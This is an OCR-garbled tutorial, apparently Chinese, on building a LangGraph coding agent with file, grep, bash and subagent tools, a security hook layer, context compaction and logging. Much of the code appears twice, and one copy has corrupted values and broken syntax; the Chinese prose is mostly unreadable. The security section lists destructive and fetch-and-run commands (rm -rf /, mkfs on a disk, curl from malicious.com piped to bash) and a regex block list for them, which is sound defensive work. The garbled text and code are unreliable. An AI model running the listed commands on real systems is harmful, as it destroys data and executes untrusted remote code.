def edit(path: str, old_string: str, new_string: str) -> str:
R RSP —BRA . B old string FEX MR —TFE. "
if not os.path.exists(path):
return f"Error: & {path} FFE"
with open(path, "r", encoding="utf-8") as f:
content = f.read()
count = content.count(old_string)
if count==20:
return f"Error: ZR¥LZ|ICEHISZA"
if count> 1:
return f"Error: %! {count} &:PTED, TSIRHEEEARY old_string LARRIRIE—IE"
new_content = content.replace(old_string, new_string, 1)
with open(path, "w", encoding="utf-8") as f:
f.write (new_content)

return "SRR IN"

N ERFHERT A:

@tool
def grep(pattern: str, path: str = ".") -> str:
rElEEERTRIIEERE R EEMEAME AT
try:
result = subprocess.run(
["grep", "-rn", pattern, path],
capture_output=True, text=True, timeout=30
)
output = result.stdout
if nmot output:
return "No matches found”
return output
except subprocess.TimeoutExpired:
return "Error: grep HATHERT (303"
except Exception as e:
return f"Error: {str(e)}"”
ftool
def glob(pattern: str) -» str:
"t E R glob EAEHIHRE (10 =r/rlpy) o BEMRERFEERE. "
matches = glob _module.glob{pattern, recursive=True)
if not matches:
return "No files found™
# WS EEFER
matches.sort(key=lambda x: os.path.getmtime(x), reverse=True)
return "\n".join{matches)
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# BERE5EHTHR
s =

@tool
def grep(pattern: str, path: str =".") -> str:

" IEIEEER TR RO S EENERNINARS, """
try:
result = subprocess.run(
["grep", "-rn", pattern, path],
capture_output=True, text=True, timeout=30
)
output = resultstdout
if not output:
return "No matches found"
return output
except subprocess.TimeoutExpired:
return "Error: grep H{THBRT (30 #)"
except Exception as e:
return f"Error: {str(e)}"

@tool
def glob(pattern: str) -> str:
""{EF glob WREHIHIEE (W0 ~/*py) , REXESEEIFRE., """
matches = glob_module.glob(pattern, recursive=True)
if not matches:
return "No files found"
# ISR B EIFHER
matches.sort(key=lambda x: os.path.getmtime(x), reverse=True)
return "\n"join(matches)

FE17R

aLTHITIA:
@tool

def bash(command: str) -» str:

S RBNAT Bash %, BEEE 30 o BEEABRGS.
try:
result = subprocess.run(

command, shell=True, capture_output=True, text=True, timeout=3@

)

output = result.stdout + result.stderr
if not output and result.returncode ==
return "E S HATERTI. AHIL"
# AT bash V82T HEESF
return output
except subprocess.TimeoutExpired:
return "Error: @S #ITER (30%k)"
except Exception as e:

return fError: {str(e)}”
# =
# Shell 1 TR
# e e e

@tool
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def bash(command: str) -> str:
" IEEZIRFRHST Bash @5, #BRTAYE 30 ¥, EEFEREKHES. """
try:
result = subprocess.run(
command, shell=True, capture_output=True, text=True, timeout=30
)
output = resultstdout + result.stderr
if not output and result.returncode == 0:
return "aSHATRI0, THIL"
# X4 bash BYHIHEH TEIETIRIF
return output
except subprocess.TimeoutExpired:
return "Error: ap S THBAT (30 #b)"
except Exception as e:
return f"Error: {str(e)}"
# S
ALL_TOOLS = [read, write, edit, grep, glob, bash,]

£ 4 HINIRETF Agent TE

LW —NMASZTNNESES, IEE— WL, Agent EREIANEERIR. Gk, SIEE—
—EaLAHE, BREEZMIES, FTHHK, SHEmSaintIHEEaEEmREY
WP IC. BRAATLABSEZ A Agent thESERIE,

N =TSy

1. GUERIGATAY subagent, & Agent Atzly, EFEBSZIREIEEAAREEWEHE
subagent, BATHL, B2 subagent EREZEHER, FHUFIRRT, RAEINER
%,

2. CIEEFARIF Agent, EIHERINESTHES, (BEF Agent ZEIRJLIEEIEE. iC2iR
2. £S5 EAMENEETEL. MUFIEXRT, ARERSS.

XEBEE—FFRIENE Agent TEB A tools.py 15k
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@tool

def subagent(role: str, task: str) -» str:
TR —AHRFEREREREEFES .
from config import 1lm 2 84 Z4F LM S8

&# TEEMATEHRT A (BB subagent 58D

sub_tools = [read, write, edit, grep, glob, bash]

# FHE—F L SFEFTAE
sub_1lm = 1lm.bind_ tools(sub_tools)

sub_messages = |
SystemMessage(content=role),
HumanMessage(content=task)

]

# TEEMES
for _ in range(l@):
# A EA APT

resp = sub llm.invoke(sub _messages)

# WEEPFEERTEEE, W8, BEERLE
if not resp.tool_calls:
return resp.content

sub_messages.append(resp)

# HFFLA
for tc in resp.tool_calls:
tool_instance = next((t for t in sub_tools if t.name == tc["nam="]), None)
if not tool instance:
result = f"Error: TEEFHEIBIIE (tc] 'name']}"
else:

result = tool_instance.invoke(tc["args"])

sub_messages.append(
ToolMessage(content=str{result), tool call id=tc["id"])

)

return "SubAgent: JAEIJAEMNE (180 MAGEFRE"

# Ff
ALL_TOOLS = [read, write, edit, grep, glob, bash, subagent]
# ===
# IaitFEREATH
#
@tool

def subagent(role: str, task: str) -> str:
R R T R AR E T S,
from configimportllm # SAZ=i% LLM LAl
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# FEBEAIRBIITE (HER subagent B )
sub_tools = [read, write, edit, grep, glob, bash]

# FERE— Um ZEIPEFTESE

sub_llm = llm.bind_tools(sub_tools)

sub_messages = [
SystemMessage(content=role),
HumanMessage (content=task)

]

# FEBAER
for _in range(10):
# EARz=Im AP
resp = sub_llm.invoke (sub_messages)

# MNREELSHIRCITEIEA, HBESTK, BEREINA
if not resp.tool_calls:
return resp.content

sub_messages.append(resp)

# PUTTH
for tc in resp.tool_calls:
tool_instance = next((t for t in sub_tools if tname == tc["'name"]), None)
if not tool_instance:
result = f"Error: FEEEAREXAZTE {tc['name'}"
else:
result = tool_instance.invoke(tc["args"])

sub_messages.append(
ToolMessage(content=str(result), tool_call_id=tc["id"])

)
return "SubAgent: IXEIERAELIREL (100R) BKRE

# S
ALL_TOOLS = [read, write, edit, grep, glob, bash, subagent]

Subagent HifTHEU, ITEMFRLI, FESBENCIZEFREN, FJE Agent WE5E/E

=ilo
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=, ‘task': "EiiL hello'}

S5 T **hello**.

Hil =iitihello.md

.EF'jj subagent ﬂ)ﬂﬁ?ﬂ’]’fi‘t FRITERER, RiTEZERER,
L5 R2MHP
Agent TE(EFIT BARY, AIRERHATAIARS:

# LLM 28" 518IGRTS0E", (BiRRIEE T

rm -rf /

# LLM 8" EBHIEE", SRS THE
mkfs.ext4 /dev/sdal

# LLM 7ER_E "3 T — MR a ="
curl http://malicious.com/script.sh | bash

# LLM 8" SNRIEIRT
chmod 777 /

# LLM FBAER, BT —1 10MB BIHFRNZ, 18 context window
cat /var/log/syslog

XERE LM EAZ, MREEE “‘RAOSHES” 3B aseEERE . LLM RIBME
MRERRER —XEXR, rm RE— MR SU4ITE,

Agent REBERITLERIGS (rf-rm*) BF, NBERMNREFHRATENBE, WiELe

FEiPREERYT Agent #BRF ( LLM AR=ER, SHEUERENEMEEIR. 5. =& prompt

ENTHRATRIIRIE) » WFapSHHTRRH ARG BE 4L,

IR R
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LLM B —%a4

=
$«——§ «—

x 1: MY EZE
"rm -rf /" > Q EEEEH, FHEFR
"1s -1a" > B &iF

[y

% 2: BFP#HIL

"find . -name '*.py'" » BFEIEE Y BT
> AF# N BT
> FAF# Q #1E Agent

S

3: BiHEN
S HIH 10000 1T » BT AEESE 2500 F5F
wAHEE 10 T > ERHRE

St
<« —— §F 4« ———

ZBiREL LM

CERSARE—R BRENR ‘BESEN®HS” . AFPWARSE “FEAAEMY”
AR SR ‘AR .

EEIEMIEE, HITM—1T2E28, BTizH Agent EAEEMAIFSRTHRSR
PR

¢ Y

TEAM_MODEL_NAME = "deepseek-v4-flash"
team_llm = ChatOpenAI(model=TEAM MODEL_NAME, api_key=API_KEY, base_url=BASE_URL, temperature=0.5, streaming=False)

IAUTO_APPROVE = False |

# REWPE[/FX
AUTO_APPROVE = False

¥3E security.py

importre

importsys

from typing import Optional, Tuple
from config import AUTO_APPROVE
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HESEHnTES, XEREPHERERURAMNZK. % %Ahﬂm TEEENER®, R
RERIEN PUES . (B RERS R EMpEREl. —MEOEIERIE< ( ELaIREEEH
1%\m%&uWB)ﬂuﬁLEw@momu%@%xmm—M£—— REF—BIR, =
ETRBENCIIRE. ERRNRRERETRES 8%,

MAX,_OUTPUT_LENGTH = 588é

# e AR
DANGEROUS_PATTERNS =
r*\brm\s+-rfis+/\b",
"\ormys+-rfis+\ 0",
"\bmkFfs\b",
"\bdd\s+.*of=/dev/",
"\bchmod\s+-R\s+777\s+/\b",
"\beurlys+. *Y|\s*(ba) ?shib",
"\bugetis+.*Y|\s*(ba) ?shib",

S T ML e TR B

def is_dangerous(command: str) -» Tuple[bool, Optional[str
CREGSREGREERE "
for pattern in DANGEROUS_PATTERNS:
if re.search(pattern, command, re.IGNORECASE):
return True, patterd
return False, MNone

MAX_OUTPUT_LENGTH = 5000

# fElamSERRIEN

DANGEROUS_PATTERNS = [
r"\brm\s+-rf\s+/\b",
r"\brm\s+-rf\s+\*\b",
r"\bmkfs\b",
r'"\bdd\s+.*of=/dev/",
r'"\bchmod\s+-R\s+777\s+/\b",
r"\bcurl\s+.*\|\s*(ba)?sh\b",
r"\bwget\s+.*\|\s*(ba)?sh\b",

1

def is_dangerous(command: str) -> Tuple[bool, Optional[str]]:
TRESSEERTRER
for pattern in DANGEROUS_PATTERNS:
if re.search(pattern, command, re.lGNORECASE):
return True, pattern
return False, None

MT S, EXAEHAITIY, FEERAFHIA:
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def ask_user_confirmation(tool_name: str, args: dict) -> bool:
e Zr EE A AR A
if AUTO_APPROVE:
return True

print(f"\n4 BNEHITIE: {tool name}")
# JHELHra
args_str = str(args)
if len(args_str) > 200:

args_str = args_str[:2@0] + "
print(f"&#: {args_str}")

while True:

choice = input("2&WFHIT? ")

if choice.lower() == 'y':
return True

elif choice.lower() == 'n':
return False

elif choice.lower() == 'q":
print(’ ﬁmibh%ltfiﬁ;" )
sys.exit(0)

else:
return False

def ask_user_confirmation(tool_name: str, args: dict) -> bool:
min \E_tm’jﬁﬁlA"""
if AUTO_APPROVE:
return True

print(f"\n +  BMEHITTR: {tool_name}")

# ERTSEITED

args_str = str(args)

if len(args_str) > 200:
args_str = args_str[:200] +

print(f'2#: {args_str}")

while True:

choice = input("E&BIFHIT? ")

if choice.lower() =="y"
return True

elif choice.lower() =='n".
return False

elif choice.lower() =='q":
print(" P ENERIEERF. ")
sys.exit(0)

else:
return False

Y, #iTEES
o N, Bhid, REAFHI T a<4%E LM
Q, EERIIENER
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MTEREEAS, EENIHERTERIF:

def truncate_output(text: str) -» str:
TrEENTIFH I ERRESER
if len({text) <= MAX_OUTPUT_LENGTH:
return text
keep_len = MAX_OUTPUT_LENGTH // 2
return text[:keep_len] + f"\n\n[... RLE2#HE . ZFEE {len(text)} ...]\n\n" + text[-keep_len:

def truncate_output(text: str) -> str:
" E RS T EIREIER
if len(text) <= MAX_OUTPUT_LENGTH:
return text
keep_len = MAX_OUTPUT_LENGTH // 2
return text[:keep_len] + f"\n\n[... #HEERT, SHE {len(text)} ..]\n\n" + text[-keep_len:]

ELHTER Q%ﬁ‘é’a’%)%&—flf—ﬁ% FESIIRESHEMER, FREEEEAEHIIA
BRHIRER, PENATALAEE,

ELBE&E—AH@W/’t%H% FIEZE - BUAFPWA - REsElEE . S8ihs
#RIRIZAT, ?‘EET?}EE};: R[E], FHENT—E.

AT RIEREE4HPTSE, B Hook HIf, BREERII— liERREE
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TEWMITEIE: Before Hook -» W4T -» aAfter Hook

282610

def execute_tool with_hooks({tool_instance, tool_args: dict) -»> str:

W LangChain Tool WEMEH, HITTE2HBERAR tool.invoke()

tool_name = tool_instance.name

# === Before Hooks ===
# 1. #4f bash T EAMELSERE
if tool name == "bash™:

cmd = tool _args.get("command™, "")
dangerous, pattern = is_dangerous{cmd)
if dangerous:

return £'8 FEEE: S MLEBEEED " pattern;

AT EdLEe

# 2. BAG, (TEEWET AFEFA, FERAAN bash B edit #il)

if tool_pame in [“"bash", “edit"]:
if not ask_user_confirmation(tool_name, tool args):

return £ A FPEEHITIE (tool_namele "

# === RFIA ==
try:
# 8 LangChain Tool fSidrdH i
result = tocl_instance.invoke(tool_args)
# return str{result)

except Exception as e:

return "3 TEWAITLIE: {type(e).__name__+ - {str(e)}"

# === After Hooks ===

return truncate_ocutput(str(result))

def execute_tool_with_hooks(tool_instance, tool_args: dict) -> str:

LZeHITEE: Before Hook -> 11T -> After Hook
$ZIE LangChain Tool XHRFNSH, WITZLICEFIERE toolinvoke()

nun

tool_name = tool_instance.name

# === Before Hooks ===

# 1. §1%¢ bash TENEZHEEE

if tool_name == "bash":
cmd = tool_args.get("command", "")
dangerous, pattern = is_dangerous(cmd)
if dangerous:

return ' © Ze=#: wSRERIGHRER {pattern}, HITEHIE, "

#2. AR\ (JEEMLTEFTEWMWA, XEBIARXS bash F edit #iA)

if tool_name in ["bash", "edit"]:
if not ask_user_confirmation(tool_name, tool_args):
return f*© FBFIELEHITTE {tool name}, "

# === mfiIE_ ===
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try:
# JEF LangChain Tool BUFRERITHE
result = tool_instance.invoke(tool_args)
# return str(result)
except Exception as e:
return f' X TEHITHIE: {type(e).__name_} - {str(e)}"

# === After Hooks ===

return truncate_output(str(result))

o oJiftk: NIFMEBERFEEIIRE append — P EREL, TREGZ MRS

o WEM: B—E Hook WETELY, TSI TESS—E
o EERE: FEBRERER Hook B (FFRTREEN. £FREm™S)

6 EMEIFHIIZSERET tools.py
ST R SR EATE shell 55514750 subagnet TEAH,

552 tools.py:

importos

importglob as glob_module

import subprocess

from langchain_core.tools import tool

from langchain_core.messages import BaseMessage, HumanMessage, ToolMessage, SystemMessage

# SABRNEFNZEHMITSR
from security import execute_tool_with_hooks, truncate_output

# === ===
# XHR(FIHR

# === ==

@tool
def read(path: str, offset: int = None, limit: int = None) -> str:
"SIV NS . ATLASERCIATT (offset) FIEENI T . IREIEBIT2HISIA, """
if not os.path.exists(path):
return f"Error: X% {path} FFE"
try:
with open(path, "r", encoding="utf-8") as f:
lines = f.readlines()
start = offset if offset is not None else 0
end = (start + limit) if limitis not None else len(lines)
lines = lines[start:end]
return "\n"join([f"{i+start+1:4d} {line.rstrip()}" for i, line in enumerate(lines)])
except Exception as e:
return f"Error: {str(e)}"

@tool
def write(path: str, content: str) -> str:
"ERBBAX S . NRENEAFERREFEAFE, S8melE, "
try:
os.makedirs(os.path.dirname(path), exist_ok=True) if os.path.dirname(path) else None
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with open(path, "w", encoding="utf-8") as f:
f.write(content)
return f'EEINE AN {len(content)} N=FE&FE {path}"
except Exception as e:
return f"Error: {str(e)}"

@tool
def edit(path: str, old_string: str, new_string: str) -> str:
ISR — XA . B old_string EXCHF R —TFE. "
if not os.path.exists(path):
return f"Error: X% {path} F=FE"
with open(path, "r", encoding="utf-8") as f:
content = f.read()
count = content.count(old_string)
if count==20:
return f"Error: R FIITHAISIA"

if count> 1:

return f"Error: $%Z {count} &bULED, HIRILEEAFAY old_string LARR{RME—ME"

new_content = content.replace(old_string, new_string, 1)
with open(path, "w", encoding="utf-8") as f:
f.write(new_content)

return "S{HEXREIN"

# = === ===
# BREEHTE

# = === ==

@tool
def grep(pattern: str, path: str =".") -> str:
" IEEEER TR ISR SEFEENERIINEAAS. """
try:
result = subprocess.run(
["grep", "-rn", pattern, path],
capture_output=True, text=True, timeout=30
)
output = result.stdout
if not output:
return "No matches found"
return output
except subprocess.TimeoutExpired:
return "Error:grep H{T#BAT (30 F)"
except Exception as e:
return f"Error: {str(e)}"

@tool
def glob(pattern: str) -> str:
""{EF glob WREHIHIEE (W0 ~/*py) , REXETBEIFRE., """
matches = glob_module.glob (pattern, recursive=True)
if not matches:
return "No files found"
# RIEXASEEIFHEE
matches.sort(key=lambda x: os.path.getmtime(x), reverse=True)
return "\n"join(matches)

25281
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# = s — =_-=
# Shell #17THR

# e = e e e e e e e e e e e e e e e

@tool
def bash(command: str) -> str:
" IEERIRERST Bash @<, #BRTAYE 30 ¥, EEFEREKHS. "
try:
result = subprocess.run(
command, shell=True, capture_output=True, text=True, timeout=30
)
output = resultstdout + result.stderr
if not output and result.returncode == 0:
return "anSHATRRIN, THIL"
# X4 bash BYRIHEHITEUETIRIF
return truncate_output(output)
except subprocess.TimeoutExpired:
return "Error: spSHIITHEAT (30 7"
except Exception as e:
return f"Error: {str(e)}"

# = =_—====—= ===
# FERMATE (—RHE)

# = st — ===
@tool

def subagent(role: str, task: str) -> str:
R — R P AR TS .
from configimportllm # S AZ=if LLM Sl

# FEBAIBIITE (HER subagent B8 )
sub_tools = [read, write, edit, grep, glob, bash]

# (EAE— Um SLEIFEFTRE

sub_llm = llm.bind_tools(sub_tools)

sub_messages = [
SystemMessage(content=role),
HumanMessage (content=task)

]
# FEREAER

for _in range(10):
# ARz=IG API
resp = sub_llm.invoke (sub_messages)

# WMRERLSHRE TEIAR, RBESK, BEiFREXA
if not resp.tool_calls:
return resp.content

sub_messages.append(resp)

# HTIHE
for tc in resp.tool_calls:
tool_instance = next((t for t in sub_tools if tname == tc["name"]), None)

28291
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if not tool_instance:
result = f"Error: FERFEKAZITE {tc['name']}"
else:
result = execute_tool_with_hooks(tool_instance, tc["args"])

sub_messages.append(
ToolMessage(content=str(result), tool_call_id=tc["id"])

)
return "SubAgent: IARIFRAIEIXEL (100R) {BREER"

# S
ALL_TOOLS = [read, write, edit, grep, glob, bash, subagent]

L] T  ERREIER

BT LLM ABMARHEELSN, 1 Agent B EEE—LIRBEMM. Skills, MCP £
ANER T Ea FliRth ENIRIA,

#h3E prompt.py S44:

import os
importjson
importglob as glob_module

# {RRi% base_tools MRE4FHY tools HEHREN
# from tools import base_tools

ANEg skill, MCP &2 (W0 ) -
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RULES_DIR = “.agent/rules™
SKILLS DIR = ".agent/skills"
MCP_CONFIG = ".agent/mcp.json”

def load_rules():
rules = []
if not os.path.exists(RULES_DIR): return ™"
for f in sorted{gleob_module.glob{os.path.join(RULES_DIR, "*.md"})):
stem = os.path.splitext(os.path.basename(f))[0]
with open(f, "r", encoding="utf-8") as file:
rules.append(f"# {stem}\n{file.read().strip()}")
return "\n\n".join(rules)

def load skills()
skills = []
if not os.path.exists(SKILL5S_DIR): return ""
for f in sorted{glob_module.glob{os.path.join(SKILLS_DIR, "*.json"))):
with open(f, "r", encoding="utf-3") as file:
data = json.load(file)
skills.append(f"- {data.get{"name’, "')}: {data.get( 'description’, '")}")
return "\n".join(skills)

def load _mcp_tools(base_tools):
if not os.path.exists(MCP_CONFIG): return base_tools
try:
with open(MCP_CONFIG, "r", encoding="utf-8") as f:
config = json.load(f)
mcp_tools = []
for server_name, server_data in config.get(“"mcpServers”, {}).items():
if server_data.get("disabled"”, False): continue
for tool in server_data.get("tools", []):
mcp_tools.append({"type": "function™, "function™: teol})
return base_tools + mcp_tools
except Exception:
return base_tools

%31}

RULES_DIR = ".agent/rules"
SKILLS_DIR = ".agent/skills"
MCP_CONFIG = ".agent/mcp.json"

def load_rules():
rules = []
if not os.path.exists(RULES_DIR): return ""
for f in sorted(glob_module.glob(os.path.join(RULES_DIR, "*md"))):
stem = os.path.splitext(os.path.basename(f))[0]
with open(f, "r", encoding="utf-8") as file:
rules.append (f"# {stem}\n{file.read().strip()}")
return "\n\n"join(rules)

def load_skills():
skills = []
if not os.path.exists(SKILLS_DIR): return ""
for f in sorted(glob_module.glob(os.path.join (SKILLS_DIR, "*json"))):
with open(f, "r", encoding="utf-8") as file:
data = json.load(file)
skills.append(f"- {data.get('name’, ")}: {data.get('description’, ")}")
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return "\n"join(skills)

def load_mcp_tools(base_tools):
if not os.path.exists(MCP_CONFIG): return base_tools
try:
with open(MCP_CONFIG, "r", encoding="utf-8") as f:
config = json.load(f)
mcp_tools = []
for server_name, server_data in config.get("mcpServers", {}).items():
if server_data.get("disabled", False): continue
for tool in server_data.get("tools", []):
mcp_tools.append ({"type": "function", "function": tool})
return base_tools + mcp_tools
except Exception:
return base_tools

R INEAIS AR ARt THHE !

def build system_prompt(memory_text: str) -» str:
rules = load rules()
skills = load_skills()

prompt = """ RE— 4 ELMHFEMT . FALEATAXEN G5 BELHORTHS -
BEEEEBERERIS - MBEFBEE SHITEEFEE. "
if rules:
prompt += f'\n\n#x MM (R EREE T ) \n{rules "
if skills:

prompt += f"\n\n## AR HRIET \n{skills}"
if memory text:
prompt += f"\n\n## [ 21217 \n{memory_text}”

def build_system_prompt(memory._text: str) -> str:
rules = load_rules()
skills = load_skills()

prompt= " RE—AESURIRIZEE . (RAILYERTERZN. HE. HWEIHTIHTHS.
BIEERRER RIS . MRBIEE, SEorERiHEs,

if rules:
prompt += f'\n\n## N (HR=REST)\n{rules}"
if skills:

prompt += f"\n\n## BJF1ZEEE<\n{skills}"
if memory_text:
prompt += f"\n\n## HRIEIZ\n{memory_text}"

return prompt
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# HEHRTNRE

=W E*: 202 1:09
=HEF GR— A FREE, FilEHithello

## [SYSTEM]

HFRE-AZUNREHF - FEUEATARERN . RS BEXHFONGTES
HERREERTRMAS - MREHER, SRS REHEE-

# HRRT

=i j@**: 202 50

=5 GHUBMBERTHESLD Python X HIBERBEA count.txt

=HR=: BERA! KHERNT:

- HEBRTH#A **9** 4 python Xff

- X#3I%: “main.py” + “logger.py’ + “config.py” s “security.py’\ “graph.py’ \ “prompt.py” \ “memor:
- #REE A “count.txt’

=B i@**: 20z 14
=EE: GHUMBRTHSDD python X, HIBEREN count.txt
SER: -

# [ RETFERE
w0 EEERE
SULRBRT (FRAFER) FiF .oy XHOHE, HBEARSA “count.txt™o

s @ WATEE (FH)
FEANGS:

**bash
count=$(find . -maxdepth 1 -type f -name "*.py"

ERERITITMAIE, S8HEICIZAIMNLAREHERNAFHRHTHEZ.

we -1

8 LtTXER

TH. i2lZ. Rules. Skills. MCP. SubAgent &, £(#18 Agent HIXHEH R EFUIIEEK, B
FiEh LLM B9 context window,

FEJEESTE : BIHERHEZY context window BFHA T, T HZEFEIZ?

BEEATFTE, BOTACERITR, (BT EFIEE, TTEELRL) L FXEREESHT
token ZH. FEIEHINNIZEE, LIR LLM FFEIXAH #*EER 1IN (Al lost in the
middle [5J8% ) .

RTEFRXNEE, FES|IANLETTIE, WAL — Ma8a E R CESENE: B
LLM 3 SEXHEMSLE ( simciZ BRI ERtEE— 5 ) -

#r#2 context.py
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from langchain_core.messages import SystemMessage, HumanMessage, AIMessage
from config import 1llm # AL ZF

COMPACT_THRESHOLD = 2@
KEEP_RECENT = &

def compact messages(messages: list) -» list:
if len(messages) <= COMPACT_THRESHOLD:
return messages

system_msg = messages[@
recent_messages = messages| -KEEP_RECENT:
old _messages = messages|1:-KEEP_RECENT

old_text = "\n".join([f"{m.type}: [m.content}" for m in old_messages if m.content])

# F8 LangChain B0 88 APT #7645
try:
summary_resp = llm.invoke(
HumanMessage(content=F"FZH U THER LR RERS « MEMRENHE, ZRTHET: \n\n{old_text}\n\nE % ")
)

summary = summary_resp.content

compacted =
system msg,
HumanMessage(content=F" [ 23 EFEE J\n{summary} "),
AIMessage(content="[2ERHE » HEYFTF1") ¢ & AlMessage F5 FELEETH A

+ recent_messages
return compacted
except Exception as e:
# FEELE
return [system_msg] + messages[-(KEEP_RECENT + 2):

from langchain_core.messages import SystemMessage, HumanMessage, AlIMessage
from configimport lm # SAEE

COMPACT_THRESHOLD = 20
KEEP_RECENT = 6

def compact_messages(messages: list) -> list:
if len(messages) <= COMPACT_THRESHOLD:
return messages

system_msg = messages[0]
recent_messages = messages[-KEEP_RECENT:]
old_messages = messages[1:-KEEP_RECENT]

old_text = "\n"join([f"{m.type}: {m.content}" for m in old_messages if m.content])

# {#F LangChain B9 NER APl TR
try:
summary_resp = llm.invoke([
HumanMessage(content=f"iE S ELAFXHER FRIXRES . MEARETIHE, XRITHRH
F:\n\n{old_text}\n\n S£&5:")
1

summary = summary_resp.content

compacted = [
system_msg,
HumanMessage(content=f" [[FSEXHERHE]\n{summary}"),
AlMessage(content="[EIEMEHE, HELFIES]") # F AlMessage RRARFZEEAIFRIA
] + recent_messages
return compacted
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except Exception as e:
# BELE
return [system_msg] + messages[-(KEEP_RECENT + 2):]

]9 RSP BRUAITRIEE

LangGraph hEZERIZVER BN HEFE, BTFHaIRERAEE, H Agent (E
Agent, subagent F1/SEISEINAIFRMIME Agent ) SHFRHEIL, FRLUSEIRMDERE Ihit ity —
MERT5(E(FER,

#1132 graph.py

TrUm LypLng LWPUrL 1YPEUVLLL, ANNULALEU, LiLEral

from langgraph.graph import StateGraph, START, END

from langgraph.graph.message import add_messages

from langchain_core.messages import AlMessage

from tools import ALL_TOOLS

from security import execute_tool with_hooks

from context import compact_messages

class AgentState(TypedDict):
messages: Annotated[list, add_messages

def agent_node(state: AgentState, 1lm instance):
messages = compact_messages(state[“messages”])
1lm_with_tools = 1lm_instance.bind_tools(ALL_TOOLS)
response = 1lm with_tools.invoke(messages)

return {"messages”: [response

def tool_node(state: AgentState):
mrLRBATSS
last_message = state["messages”][-1

tool_messages =
for tc in last_message.tool_calls:
tool_inst = next((t for t in ALL_TOOLS if t.name == tc["name"]), None)
result = execute_tool_with_hooks(tool_inst, tc["args"]) if tool_inst else f"Error: HFRE TR {tc['name']}"
tool_messages.append({"role”: "tool”, "content": str(result), "tool_call _id": tc["id"]})

return {"messages”: tool messages
def build_graph(llm_instance, max_loops: int):
def _agent_node(state: AgentState):
return agent_node(state, 1lm_instance)
def _should_continue(state: AgentState) -> Literal["tools”, "_end_"]:

last_message = state['messages”][-1

if hasattr(last_message, 'tool_calls') and last_message.tool calls:

ai_msgs_count "] if isinstance(m, AIMessage))
if ai_msgs_count

# BHPXHE

return

return “tools™

return "_end_ "
workflow = StateGraph(AgentState)
workflow.add_node("agent"”, _agent_node)
workflow.add_node("tools", tool_node)
workflow.add_edge(START, “agent")
s("agent”, _should_continue, {"tools": “tools", "__end_": END})
gent")

workflow.add_conditional_ed
workflow.add_edge("tools",

return workflow.compile()

from typing import TypedDict, Annotated, Literal

from langgraph.graph import StateGraph, START, END

from langgraph.graph.message import add_messages

from langchain_core.messages import AIMessage

from tools import ALL_TOOLS

from security import execute_tool_with_hooks

from context import compact_messages

class AgentState(TypedDict):
messages: Annotated[list, add_messages]

def agent_node(state: AgentState, llm_instance):
LM BESE, BOMBMEAR LLM SEp
messages = compact_messages(state["messages"])
llm_with_tools = llm_instance.bind_tools(ALL_TOOLS)
response = llm_with_tools.invoke (messages)
return {"messages": [response]}

def tool_node(state: AgentState):
" TRRTEE
last_message = state["messages"][-1]
tool_messages =[]
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for tc in last_message.tool_calls:
tool_inst = next((t for t in ALL_TOOLS if thame == tc["name"]), None)
result = execute_tool_with_hooks(tool_inst, tc["args"]) if tool_inst else f"Error: $HARZEITE
{tc['name']}"
tool_messages.append({"role": "tool", "content": str(result), "tool_call_id": tc["id"]})
return {"messages": tool_messages}
def build_graph(llm_instance, max_loops: int):

def _agent_node(state: AgentState):
return agent_node(state, llm_instance)
def _should_continue(state: AgentState) -> Literal["tools", "__end_ "]:
last_message = state["messages"][-1]
# MNRERRERARTE
if hasattr(last_message, 'tool_calls') and last_message.tool_calls:
# ITESREERERN Agent BEIREL
# BEFIT AlMessage RIEIESRIEIFIBTIEIRIREL
ai_msgs_count = sum(1 for m in state["messages"] if isinstance(m, AlMessage))
if ai_msgs_count >= max_loops:
# IREIRATEIREL, amHEll, RERE—HER
return"_end "
return "tools"
return"_end_"
workflow = StateGraph(AgentState)
workflow.add_node("agent", _agent_node)
workflow.add_node("tools", tool_node)
workflow.add_edge(START, "agent")
workflow.add_conditional_edges("agent", _should_continue, {"tools": "tools", "__end__": END})

workflow.add_edge("tools", "agent")

return workflow.compile()

L0 1SEATER

RFICIZERARIHFUTHDM 7 &t , BT REEEiR See R ECRBMAMTIE, FER
SRPICRERNREIINTEIRE, REAZNI Markdown 34, BZFRDRSEIBINHUT
AESS .

#132 logger.py Sft
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import os
from datetime import datetime
def save_trace_to_md(task: str, messages: list):
"R R ERETHERTREN Harkdown I
timestamp = datetime.now().strftime("¥yEmid_XHIXMES")
# BT E TR A AE S HE
safe_task = "".join([c for c in task if c.isalnum() or c in (" ", "-", "_")1).rstrip()
safe_task = safe_task.replace(” ™, "_")[:5@] if safe_task else "task"

filename = f"{timestamp}_{safe_task].md"

with open(filename, "w", encoding="utf-8") as f:
fowrite(f'# THMATHITE \n\n")
fowrite(f"**01 B **: {datetime.now().strftime( %y-%m-%d %¥H:%M:¥5") ™)
F.write[f“**f};?**: task]}\n\n---%n%n")

for msg in messages:
role = getattr(msg, "type', 'unknown').upper()
content = getattr(msg, “content’, ')
foarite(f"## [{role}]wn\n™)
if content: f.write(f" ~"\n{content}\mn™ " \n\n")
if hasattr(msg, 'tool_calls') and msg.tocl_calls:
f.write("**Tool Calls:**Yn")
for tc in msg.tool_calls:
fourite(f"- WAILE: “{tc.get('name', ')} \n HH#: “{tc.get('args’, {1} \n")
f.write("\n")

print(f" » REETHRHFLBRFER: [filename]")

import os
from datetime import datetime
def save_trace_to_md(task: str, messages: list):
SRR THIBRIFRIA Markdown XX
timestamp = datetime.now().strftime("%Y%m%d_%H%M%S")
# ERES BRI HERNEE
safe_task = ""join([c for c in task if c.isalnum() or cin ("', '-', '_")]).rstrip()
safe_task = safe_task.replace(" ", "_")[:50] if safe_task else "task"

filename = f"{timestamp}_{safe_task}.md"

with open(filename, "w", encoding="utf-8") as f:
fwrite(f"# {ESHITHIZE\n\n")
f.write(f"*B3&*: {datetime.now().strftime('%Y-%m-%d %H:%M:%S")\n")
fwrite(f"*{£55*: {task}\n\n---\n\n")

for msg in messages:
role = getattr(msg, 'type', 'unknown').upper()
content = getattr(msg, 'content’, ")
fwrite(f"## [{role}]\n\n")
if content: f.write(f"""\n{content}\n"""\n\n")
if hasattr(msg, 'tool_calls') and msg.tool_calls:
fwrite("*Tool Calls:*\n")
for tc in msg.tool_calls:
fwrite(f"- EABATER: {tcget('name', ")}'\n S {tcget(args', {})}'\n")
fwrite("\n")

print(f" TEGITHILERZEE: {filename}")
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LR WX
B SRR LIRS, #iEE main.py SCIIEARSIERHEAIZ 1T858

SEITEH:
| |
| CLI AO |
| python main.py [--auto] [--team] <task> |
L I ; |
| |
--team RIETE --team TIEE
| |
v v
o A [ 1
| run_sing1e| | run_team_mode|
| Zagent | | %aAgentHBL |
